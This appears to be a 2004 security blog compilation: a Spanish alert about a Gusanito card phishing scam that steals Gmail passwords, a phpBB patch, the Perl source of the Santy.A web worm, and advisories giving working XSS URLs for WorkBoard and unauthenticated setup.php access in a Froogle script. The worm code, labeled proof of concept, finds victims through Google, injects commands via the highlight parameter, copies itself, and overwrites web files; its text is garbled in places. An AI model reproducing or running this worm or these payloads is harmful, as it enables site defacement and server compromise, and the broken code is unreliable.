Phishing: Usuarios de Gmail en peligro de engaño

Se están distribuyendo por correo electrónico, mensajes falsos
que pretenden engañar a usuarios incautos para apoderarse de sus cuentas
de correo en Gmail, el servicio gratuito de Google.




Se trata de un scam que utiliza técnicas de phishing. Un SCAM es un
engaño con intención de estafa o fraude, que mezcla el correo no solicitado (SPAM) con un HOAX (bulo o broma).

PHISHING es la técnica utilizada para obtener información confidencial mediante la suplantación de una persona o institución legítima (generalmente por medio de un "scam", mensaje electrónico fraudulento,
o falsificación de página web).

El ejemplo enviado, se trata de un mensaje con una supuesta tarjeta de felicitación que simula provenir de "Gusanito.com" (un servicio de envío de tarjetas).

El mensaje, en formato
HTML, contiene un texto similar al siguiente:

¡Hola!
Hay una tarjeta disponible en Gusanito.com de parte de Gusanito.com.
Para verla, hacer click en el siguiente enlace: 

http://gusanito.com/g/gusanito/retrieveCard.jsp?sCardCode=[??????]

Te recordamos que si eres Gusuario Premium tu tarjeta estará disponible
en todo momento durante la vigencia de tu
membresía; si no lo eres,
estará disponible dos semanas a
partir de la fecha en que la
envíes.


------------------------------------------------------------------

© 2004 G Novation, S. de R.L. de C.V. Todos los derechos
reservados.

Si el usuario coloca el cursor del ratón sobre
el enlace mostrado, en la barra de estado verá una dirección
totalmente diferente:

http:/ /passsport.uni
.cc/[???]inicioseciongmail.php?mail=usuario@gmail.com&nick=skorpi0n

Donde "usuario@gmail.com" es la dirección de
la víctima que recibe el falso mensaje (el nick no pertenece a
dicho usuario).

El mensaje no utiliza ninguna
vulnerabilidad para disfrazar su dirección, simplemente el
enlace apunta a una dirección diferente a la mostrada, cuando
se lee el mensaje en formato HTML.

Cuando el usuario
hace clic sobre ese enlace, se muestra una página que simula
ser la de Gmail, donde además de mostrarse la dirección
electrónica de la víctima, se muestra el campo para ingresar
su contraseña (Password).

Note que en la barra de direcciones no se
muestra la dirección de Gmail, sino la dirección del falso
sitio (http:/ /passsport .uni .cc/...).

Si el usuario
ingresa su clave en ese campo, la misma será capturada por el
pirata informático que creó la falsa página, haciéndose de ese
modo con la cuenta de la incauta víctima.

Para no
despertar sospechas, también se muestra la supuesta tarjeta
que menciona el mensaje original.

Lostmon advierte que
existen otras variantes de este tipo de engaño. El mismo,
representa a una extensa categoría de técnicas phishing. Está
dirigido a usuarios inexpertos que son excesivamente confiados
o demasiados inocentes cuando ven en un mensaje algunos
atributos de una organización legítima (remitente de una
organización o corporación conocida, imágenes con logos
identificatorios, etc.)

Jamás se debe hacer clic
directamente en los enlaces mostrados en mensajes electrónicos
no solicitados, aún cuando el remitente sea o parezca conocido.

Créditos:

Lostmon



Relacionados:

Gmail

https://gmail.google.com/

fuente : www.vsantivirus.com

Santy.A Web Worm Source Code (PoC) and pach

if you are afected... how to pach your web here:

Open viewtopic.php in any text editor. Find the following section of code:

Code:

// // Was a highlight request part of the URI? // $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) {    // Split words and phrases    $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));    for($i = 0; $i < sizeof($words); $i++)    {

and replace with:

Code:

// // Was a highlight request part of the URI? // $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) {    // Split words and phrases    $words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));    for($i = 0; $i < sizeof($words); $i++)    {

Please inform as many people as possible about this issue. If you're a hosting provider
please inform your customers if possible. Else we advise you implement some level of
additional security if you run ensim or have PHP running cgi under suexec, etc.

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

######################################################
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
# Date : 22/12/2004
# Solution : Upgrade to phpBB version 2.0.11
#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# ~~ For educational purpose ~~
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.k-otik.com/news/20041221.phpbbworm.php
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#######################################################
!/usr/bin/perl
use
strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };
my $generation = x;
PayLoad() if $generation > 3;
open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;
while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}
$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print
q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';
while(1) {
exit if -e 'stop.it';
OUTER: for my $url (GoGoogle()) {
exit if -e 'stop.it';
$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName)
. ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $portion;
next OUTER unless GrabURL($url);
}
my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName)
. ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}
sub str2chr($) {
my $s = shift;
$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;
return $s;
}
sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all'
. '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000))
.
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif
width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}
return @urls;
}
sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;
my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);
my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012"
.
"Connection: close\015\012\015\012";
my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;
my $answer = join '', <Server>;
close (Server);
return $answer;
}
sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}
sub DoDir($) {
my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;
local *DIR;
opendir DIR, $dir or return;
for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}
if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i
or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}
closedir DIR;
}
sub Pay Load() {
my @dirs;
eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};
push(@dirs, '/ ');
for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}

Workboard input validation error in task_id variable and proyect_id variable

#########################################
Work board input validation error in
task_id variable and proyect_id variable
let´s remote users to make XSS attacks
vendor: http://www.burnwave.com/modules.php? name=
Archives&op=info&did=15

Developer: Michael Squires
vendor notified: yes(msn conversation) xploit include: yes
original advisore:http://lostmon.blogspot.com/2004/12
/workboard-input-validation-error-in.html
OSVDB ID:12504
secunia:SA13574
##########################################

WorkBoard is a project/task manager used for primarily for software development
(in this case, PHP... but it can be used for non-software projects).
this script have two imput validation erros and a remote user can conduct
Cross-site scripting attacks (XSS)

the flaw was on 'project_id' variable

http://[target]/modules.php?name=WorkBoard&file=
project&project_id=3[XSS_code]

http://[target]/modules.php?name=WorkBoard&file=project&project_id=
2%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+XSS%20Pow@!!+%21%21%21+
lostmon+was+here+%3AD%3C/h1%3E

and the same flaw afected 'task_id' variable

http://[target]/modules.php?name=Work_Board&op=
Task&task_id=7[XSS_code]
http://[target]/modules.php?name=Work_Board&op=
Task&task_id=5%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+
XSS%20Pow@!!+%21%21%21+lostmon+was+here+%3AD%3C/h1%3E

i`m speaking whith the developer by msn conversation....
but he is no interesed to fix it ????
:///

atentamente

Lostmon (lostmon@gmail.com)

thnx to estrella to be my ligth

thnx to all who belibed in me

--

La curiosidad es lo que hace mover la mente.

=============================================

conversation whith the developer by MSN

==================================================

No interest to fix ??? :O

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:
hello !
Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

Yes?

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

helo you are the developer of

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

workboard ?

Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

yes, I am.

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

okis i have found 2 poible faws

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

in your work

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

in 2 variables

Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

unfortunately I do NOT support my free scripts

Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

thanks for reading

Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

if you want an updated version of workboard, go to nukescripts.net.

Burnwave Ltd || Oh no! I forgot my voicemail passcode. Thanks IBM Help! dice:

thanks

X---//...Lostmon...Bug on Froogle php script ---> http://lostmon.blogspot.com
...\\----X dice:

no like toi see ?



No se pudo entregar el mensaje siguiente a todos los destinatarios:

no like toi see ?

--
la curiosidad es lo que hace mover la mente

POSIBLE FIX

for variable proyect_id

search: $project_id = intval($project_id);

change for:

case "Project":

$project_id = intval($project_id);

$pagetitle = ": "._MODULE_PROJECT_TITLE."$project_id";

for variable task_id

search: $task_id = intval($task_id);

change for:

case "task":

$task_id = intval($task_id);

$pagetitle = ": "._MODULE_PROJECT_TITLE."$task_id";

Bug found : Lostmon (lostmon@gmail.com)

FIX by Lmc , by suko http://spanishwebmaster.com

Atentamente
Lostmon (lostmon@gmail.com)
thnx to Suko & Lmc

Disclosure on Froogle php script and setup.php unauthorice access

############################################
disclosure on Froogle php script by http://www.68designs.com/
target: froogle script version 1.0
vendor url: http://www.68designs.com/kb/link.php?id=5
impact: disclosure of instalation path .unauthoriced access
Xploit include: yes vendor informed :yes
OSVDB ID:12481
Secunia:SA13504
Securitytracker:1012553
############################################

Froogle script is a php web base script for adding in a ecomerce suit or store
and manage easy the Froogle´s account or offert products from Froogle.

In a defaults instalations this script need for install a file caled 'setup.php'
(no authentication is needed for run the script) any user can call
this file and reinstall the aplication in certs cases or obtain
administrative access to the aplication.
proof of concept :

http://[target]/froogle_path/setup.php
http://[target]/froogle/setup.php?option=step1
http://[target]/froogle/setup.php?option=step2

atentamente:
Lostmon (lostmon@gmail.com)

Thnx to estrella to be my ligth
Thnx to all who believed in me

Securitytracker url: http://securitytracker.com/alerts/2004/Dec/1012553.html

--
La curiosidad es lo que hace mover la mente....